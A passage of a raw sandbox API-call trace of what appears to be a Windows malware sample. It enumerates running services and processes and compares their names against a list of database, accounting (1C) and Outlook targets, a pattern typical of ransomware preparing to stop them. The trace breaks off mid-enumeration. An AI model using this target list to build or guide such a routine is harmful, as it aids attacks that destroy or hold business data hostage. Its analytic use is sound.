returned 1 [0263.461] lstrlenW (lpString="MMCSS") returned 5 [0263.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0263.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0263.461] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0263.461] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0263.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0263.461] lstrlenW (lpString="MpsSvc") returned 6 [0263.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0263.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0263.462] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0263.462] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0263.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0263.462] lstrlenW (lpString="NlaSvc") returned 6 [0263.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0263.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0263.462] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0263.462] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0263.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0263.462] lstrlenW (lpString="nsi") returned 3 [0263.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.462] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.462] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.462] lstrlenW (lpString="PcaSvc") returned 6 [0263.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0263.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0263.463] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0263.463] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0263.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0263.463] lstrlenW (lpString="PlugPlay") returned 8 [0263.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.463] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.463] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.463] lstrlenW (lpString="Power") returned 5 [0263.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.463] lstrlenW (lpString="ProfSvc") returned 7 [0263.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.463] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.463] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.463] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.463] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.463] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.463] lstrlenW (lpString="RpcSs") returned 5 [0263.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.464] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.464] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.464] lstrlenW (lpString="SamSs") returned 5 [0263.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.464] lstrlenW (lpString="Schedule") returned 8 [0263.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.464] lstrlenW (lpString="SENS") returned 4 [0263.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.464] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.464] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.464] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.464] lstrlenW (lpString="Spooler") returned 7 [0263.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.465] lstrlenW (lpString="SysMain") returned 7 [0263.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0263.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0263.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.465] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.465] lstrlenW (lpString="Themes") returned 6 [0263.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.465] lstrlenW (lpString="TrkWks") returned 6 [0263.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0263.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0263.465] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0263.465] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0263.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0263.465] lstrlenW (lpString="UxSms") returned 5 [0263.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0263.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0263.465] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0263.465] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0263.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0263.465] lstrlenW (lpString="Winmgmt") returned 7 [0263.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0263.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0263.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0263.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0263.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0263.466] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0263.466] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c0 [0263.467] Process32FirstW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.467] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.467] lstrlenW (lpString="System") returned 6 [0263.467] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0263.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0263.467] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0263.467] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0263.468] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0263.468] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0263.468] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0263.468] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.468] lstrlenW (lpString="smss.exe") returned 8 [0263.468] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0263.468] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.468] lstrlenW (lpString="csrss.exe") returned 9 [0263.468] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.469] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.469] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.469] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.469] lstrlenW (lpString="wininit.exe") returned 11 [0263.469] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0263.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0263.469] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0263.469] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0263.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0263.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0263.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0263.469] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.469] lstrlenW (lpString="csrss.exe") returned 9 [0263.470] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.470] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.470] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.470] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.470] lstrlenW (lpString="winlogon.exe") returned 12 [0263.470] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0263.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0263.470] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0263.470] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0263.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0263.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0263.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0263.470] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.471] lstrlenW (lpString="services.exe") returned 12 [0263.471] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0263.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0263.471] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0263.471] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0263.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0263.471] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0263.471] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0263.471] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.471] lstrlenW (lpString="lsass.exe") returned 9 [0263.471] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0263.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0263.471] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0263.471] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0263.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0263.471] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0263.471] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0263.471] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.472] lstrlenW (lpString="lsm.exe") returned 7 [0263.472] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0263.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0263.472] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0263.472] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0263.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0263.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0263.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0263.472] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.473] lstrlenW (lpString="svchost.exe") returned 11 [0263.473] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.473] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.473] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.473] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.473] lstrlenW (lpString="svchost.exe") returned 11 [0263.473] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.474] lstrlenW (lpString="svchost.exe") returned 11 [0263.474] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.474] lstrlenW (lpString="svchost.exe") returned 11 [0263.474] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.474] lstrlenW (lpString="svchost.exe") returned 11 [0263.474] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.475] lstrlenW (lpString="audiodg.exe") returned 11 [0263.475] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.475] lstrlenW (lpString="svchost.exe") returned 11 [0263.475] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.475] lstrlenW (lpString="svchost.exe") returned 11 [0263.475] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0263.476] lstrlenW (lpString="userinit.exe") returned 12 [0263.476] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.476] lstrlenW (lpString="dwm.exe") returned 7 [0263.476] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.476] lstrlenW (lpString="explorer.exe") returned 12 [0263.476] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.476] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.476] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.477] lstrlenW (lpString="taskhost.exe") returned 12 [0263.477] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.477] lstrlenW (lpString="svchost.exe") returned 11 [0263.477] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0263.477] lstrlenW (lpString="chrome64b.exe") returned 13 [0263.477] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.478] lstrlenW (lpString="reader_sl.exe") returned 13 [0263.478] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.478] lstrlenW (lpString="dllhost.exe") returned 11 [0263.478] Process32NextW (in: hSnapshot=0x3c0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0263.478] CloseHandle (hObject=0x3c0) returned 1 [0263.478] Sleep (dwMilliseconds=0x1f4) [0264.088] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x46235e0 [0264.228] EnumServicesStatusExW (in: hSCManager=0x46235e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0264.369] GetLastError () returned 0xea [0264.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe90) returned 0x454b168 [0264.369] EnumServicesStatusExW (in: hSCManager=0x46235e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xe90, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0264.369] CloseServiceHandle (hSCObject=0x46235e0) returned 1 [0264.369] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 